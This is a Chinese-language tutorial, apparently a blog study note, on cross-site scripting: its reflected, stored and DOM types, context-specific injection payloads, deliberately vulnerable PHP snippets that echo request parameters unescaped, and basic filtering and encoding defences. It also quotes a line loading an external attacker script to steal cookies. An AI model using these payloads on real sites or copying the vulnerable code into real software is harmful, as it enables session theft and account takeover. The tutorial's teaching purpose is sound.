XSS 跨站脚本漏洞 - 学习

目录

XSS简介

XSS原理解析

 XSS漏洞的验证

XSS中常用的名词解释

XSS类型

1)反射型XSS

反射型XSS和存储型XSS的区别

反射型XSS利用过程

2)存储型XSS

存储型XSS特点

存储型XSS利用过程

存储型XSS原理

存储型XSS实例

3)DOM型XSS

DOM 型 XSS 特点

DOM XSS利用过程

 常用的 DOM 方法

DOM XSS实例

XSS常用标签

        XSS常用标签

HTML上下文注入

1)简单标记注入

2)快标记注入 

3)内联注入

 4)源代码注入

JavaScript 上下文注入

1)代码注入

-alert(/xss/)- 解析

 2)逻辑快中的代码注入

XSS的危害

XSS的防御

使用XSS过滤器(XSS Filter)

        1)输入过滤

        2)输出编码

        3)黑白名单

防御DOM-XSS

XSS过滤及绕过速查


XSS简介

XSS本来应缩写为CSS(Cross Site Scripting),由于与CSS(Cascading Style Sheets,层叠样式脚本)重名,所以更名为XSS。

XSS即跨站脚本攻击,是最常见的 Web 应用程序安全漏洞之一,在 2013 年度 Owasp top 10 中排名第三。

XSS时指攻击者在网页中嵌入客户端脚本,通常是 JavaSCript 编写的恶意代码,当用户使用浏览器浏览被嵌入恶意代码的网页时,恶意代码将会在用户的浏览器上执行。

综上可知,XSS属于客户端攻击,受害者最终是用户,但是这并不意味着XSS与自己的网站,服务器安全无关。须知,网站管理员也是用户之一,这意味着XSS可以攻击“服务器端”。而且因为管理员要比普通用户的权限大的多,一般管理员都可以对网站进行文件管理,数据管理等操作,攻击者就可能靠管理员身份作为”跳板“实施攻击。

XSS原理解析

XSS攻击是在网页中嵌入客户端恶意代码脚本,这些恶意代码一般是使用 JavaScript 语言编写的(也有使用 ActionScript,VBScript 等客户端脚本语言编写的,但较为少见)。使所以,要想深入研究XSS,必须精通  JavaScript 。 JavaScript 能做到什么效果,XSS的威力就有多大。

JavaScript 可以用来获取用户的 Cookie,改变网页内容,URL调转,那么存在XSS漏洞的网站,就可以盗取用户的 Cookie,黑掉页面,导航到恶意网站,而攻击者需要做的仅仅是向 Web 页面中注入  JavaScript 代码。

<?php

    $input = $_GET['input'];
    echo "<div>".$input."</div>";

?>

 攻击者可以在 <script>与</script> 之间输入 JavaScript 代码,实现一些“特殊效果”。在真实的攻击中,攻击不仅仅是弹出一个框,通常使用 <script src="http://www.secbug.org/x.txt"></script> 方式来加载外部脚本,而在 x.txt 中存放着攻击者的恶意 JavaScript 代码,这段代码可能是用来盗取用户的 Cookie ,也可能是监控键盘记录等恶意行为。

注:JavaScript 加载外部的代码文件可以是任意扩展名(无扩展名也可以),只要文件中包含 JavaScript 代码就会就会执行。

 XSS漏洞的验证

我们可以利用一段简单的代码,验证和检验漏洞的存在,这样的代码叫做 PoC(Proof of Concept)。

验证XSS漏洞存在的 POC 如下:

<script>alert(/xss/)</script>    常用

<script>confirm(/xss/)</script>  

<script>prompt(/xss/)</script>  

我们可以在测试页面提交上面的代码

我们发现,提交的代码会被当作字符串输出在HTML页面中,浏览器会根据 <script> 标签识别为 JS 语句,并执行它。也就是说可以执行其他 js 代码,因此验证了XSS漏洞的存在性。

XSS中常用的名词解释

POC                漏洞的验证与检测

EXP                漏洞的完整利用工具

shellcode        利用漏洞时,所执行的代码

payload            工具载荷

                        sqlmap        攻击代码的模板

                        msf               与 shellcode 类似,功能是建立与目标的连接

XSS类型

1)反射型XSS

      反射型XSS也被称为非持久性XSS,是现在最容易出现的一种XSS漏洞。当用户访问一个带有XSS代码的 URL 请求时,服务器端接受数据后处理,然后把带有XSS代码的数据发送到浏览器,浏览器解析这段带有XSS代码的数据后,最终造成XSS漏洞。这个过程就像一次反射,所以称之为反射型XSS。

XSS原理解析中的例子就是一个典型的反射型XSS。

反射型XSS和存储型XSS的区别

1)反射型的payload往往都会在 URL 中出现,存储型不会
2)存储型往往需要读取数据库插入 payload,反射型不需要
3)往往反射型需要用户进行一定的交互,而存储型不需要

反射型XSS利用过程

可以考虑使用短链接

1)恶意的攻击者发送给受害者一个链接(链接中携带XSS代码)
2)攻击者诱使受害者点开这个链接
3)XSS代码被提交到又XSS漏洞的Web应用上
4)Web应用程序没有过滤提交上来的数据,或过滤不严谨
5)Web应用程序输出用户提交上来的数据(包含XSS代码)
6)用户浏览器渲染返回的HTML页面,执行返回的 JavaScript 代码
7)恶意的 JavaScript 代码在后台悄悄执行,获取用户信息。

2)存储型XSS

存储型XSS,又称为持久性XSS,存储型XSS是最危险的一种跨站脚本。

运行用户存储数据的Web用户程序都会出现存储型XSS漏洞,当攻击者提交一段XSS代码后,被服务器端接受并存储,当攻击者再次访问某个页面时,这段XSS代码被程序读出来想要给浏览器,造成XSS跨站攻击,着就是存储型XSS。

存储型XSS特点

存储型XSS与反射型XSS,DOM型XSS相比,具有更高的隐蔽性,危害性也更大。他们之间最大的区别在于反射型XSS与DOM型XXSSSXSSS执行都必须依赖用户手动触发,而存储型XSS不需要

存储型XSS利用过程

1)恶意的攻击者在存在XSS漏洞的网站提交一段XSS代码
2)web 应用程序接受提交数据,没有过滤或过滤不严谨
3)写入到数据库或文件中
4)受害者访问这个存在XSS恶意代码的页面
5)web应用程序从数据库或文件中读取之前恶意攻击者提交的代码
6)web应用服务器返回这段代码
7)受害者浏览器渲染返回的HTML页面,执行返回的 JavaScript 代码
8)恶意的 JavaScript 代码在后台悄悄执行,获取用户信息
1)用户输入带有参数的 URL 或 BODY 域数据
2)服务器将参数存入数据库
3)通过 JSON 格式返回参数到页面
4)通过 DOM 调用参数进行排版
5)通过 DOM 动态输出到页面上

存储型XSS原理

现往数据库中插入要执行的 JavaScript 代码,然后再从数据库中读取出来,并返回给浏览器。

攻击者在数据库中插入数据,任何一个访问存在XSS漏洞的页面的用户,都将受到该漏洞的影响。

存储型XSS实例

pikachu漏洞平台搭建

3)DOM型XSS

DOM 的全称是 Document ObjectModel ,即文档对象模型,DOM 通常用于代表在HTML,XHTML 和 XML 的对象。使用 DOM 可以运行型程序和脚本动态的访问和更新文档的内容,结构和样式。

通过 JavaScript 可以重构整个 HTML 页面,而要重构页面或者页面中的某个对象,JavaScript 就需要知道 HTML 文档中所有元素的‘位置’。而 DOM 为文档提供了结构化表示,并定义了如何通过脚本来访问文档结构。根据 DOM 规定,HTML 文档中的每一个成分都是一个节点。

        DOM 的规定如下:

        1)整个文档是一个文档节点

        2)每个 HTML 标签是一个元素节点

        3)包含在 HTML 元素中的文本是文本节点

        4)每一个 HTML 属性是一个属性节点

        5)节点与节点之间都有等级关系。

HTML的标签都是一个个节点,而这些节点组成了 DOM 的整体结构:节点树。

综上可知:DOM 本身就代表文档的意思,而基于 DOM 的 XSS 是不需要与服务器端交互的,它只发生在客户端处理数据阶段。

DOM 型 XSS 特点

DOM 型 XSS 与反射型XSS,存储型XSS 的差别在于 DOM XSS 的代码不需要服务器解析响应的直接参与,触发XSS漏洞靠的是浏览器DOM解析器的解析,和服务器没有直接关系,完全可以认为是客户端的事情。而且在我们查看源码时,往往无法找到我们拼凑进去的标签。

DOM XSS利用过程

1)用户输入带有参数的 URL
2)JavaScript 处理 URL 并获取参数
3)通过 DOM 调用参数对页面进行排版
4)通过 DOM 动态输出到页面上

 常用的 DOM 方法

方法描述
getElementById()返回带有指定 ID 的元素
getElementByTagName()返回包含带有指定标签名称的所有元素的节点列表(集合/节点数组)
getElementByClassName()返回包含带有指定类名的所有元素的节点列表
appendChild()把新的子节点添加到指定节点
removeChild()删除子节点
replaceChild()替换子节点
insertBefore()在指定的子节点前插入新的子节点
createAttribute()创建属性节点
createElement()创建元素节点
creatTextNode()创建文本节点
getAttribute()返回指定的属性值
setAttribute()把指定的属性设置或修改为指定的值

DOM XSS实例

<html>

<head>
    <title> Test </title>
</head>

<body>
<a href = "Test.php"> This is a Test ! </a>
<h1> Test </h1>
</body>
</html>

' onclick=alert(/xss/) //

javascript:alert(/xss/)

XSS常用标签

        XSS常用标签

HTML上下文注入

1)简单标记注入

        当输入落在HTML标签或外部标签的属性值内时使用,除了下一种情况中描述的值。如果输入登录HTML注释,则在“-->”前加载有效负载。

<svg οnlοad=alert(/xss/) >

"><svg οnlοad=alert(/xss/) >

<?php

    $code = "<img src=\"$_GET[code]\">";
    echo $code;

?>

2)快标记注入 

 当输入落在以下标签内部或打开/关闭之间使用:

<title> <style> <script> <textarea> <noscript> <per> <xmp> 和 <iframe> (</tag>相应)

 </tag><svg οnlοad=alert(/xss/)>

"> </tag><svg οnlοad=alert(/xss/)>

<?php

    $code = "<style>$_GET[code]</style>";
    echo $code;

?>

 

 3)内联注入

当输入落在HTML标记的属性值内时使用,但该标记不能以 > 结尾。

" onmouseover = alert(/xss/) //

" autofocus onfocus = alert(/xss/) //

<?php

    $input = $_GET['input'];
    $input = str_replace('<' , '' ,$input);
    $input = str_replace('>' , '' ,$input);
    $code = "<img src=\"$input\">";
    echo $code;

?>

 4)源代码注入

当输入作为以下HTML标记属性的值时使用:href , src ,data 或 action(也是格式)。脚本咋标记中的Src属性也可以是URL或“data:alert(/xss/)”.

JavaScript:alert(/xss/)

<?php

    $input = $_GET['input'];
    $code = "<a href=\"$input\"> Click me </a> " ;
    echo $code;

?>

 
JavaScript 上下文注入

1)代码注入

当输入落在脚本快中时,在字符串分隔值内使用。

' -alert(/xss/)- '  

' -alert(/xss/) //

-alert(/xss/)- 解析

<script>""-alert(/xss/)-"";</script>

注:此处的 - 换为 +-*/ 都可以

 2)逻辑快中的代码注入

当输入落在脚本快中时,使用第一个或第二个有效负载,在字符串分隔值内,并在单个逻辑块内,如函数或条件(if ,else, etc)。如果使用反斜杠转义quote,请使用第三个有效负载。

'}alert(1);{'

'}alert(1)%0A{'

\'}alert(1);{//

<?php

$code = <<<CODE
<script>
    var a= 1;
     if (a){
        var c = '$_GET[input]';
     }
</script>   
CODE;
echo $code;

?>

 XSS的危害

XSS利用 js 代码实现攻击,有很多攻击方法,简单列出如下几种:

1)盗取各种用户Cookie

2)窃取用户Cookie资料,冒充用户身份进入网站

3)劫持用户会话,执行任意操作

4)刷流量,执行广告弹框

5)传播蠕虫病毒

......

XSS的防御

使用XSS过滤器(XSS Filter)

        XSS Filter 的作用是过滤用户(客户端)提交的有害信息,从而达到防范XSS攻击的效果

        1)输入过滤

                永远不要相信用户的输入 是网站开发的基本常识,对用户的输入一定要过滤,过滤,再过滤。

                a)输入验证

                        简单的说,输入验证就是对用户提交的信息进行有效的验证,仅接受指定范围内的,采用适当格式的内容提交,阻止或忽略除此之外的其他任何数据。

                        1.输入是否包含合法字符

                        2.输入字符串是否超过最大长度限制

                        3.输入如果为数字,数字是否在指定范围内

                        4.输入是否符合特殊的格式要求,入E-mail地址,IP地址等

                b)数据消毒

                        过滤和净化掉有害的输入

        2)输出编码

                HTML 编码主要是用对应的HTML实体代替字符(如 > 只待变大于号,不表示尖括号)

        3)黑白名单

                不管采用输入过滤还是输出编码,都是针对数据信息进行黑|白名单式的过滤。

                黑名单:非允许数据

                白名单:允许数据

防御DOM-XSS

避免客户端文档重写,重定向或者其他敏感操作。

XSS过滤及绕过速查

XSS备忘录

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值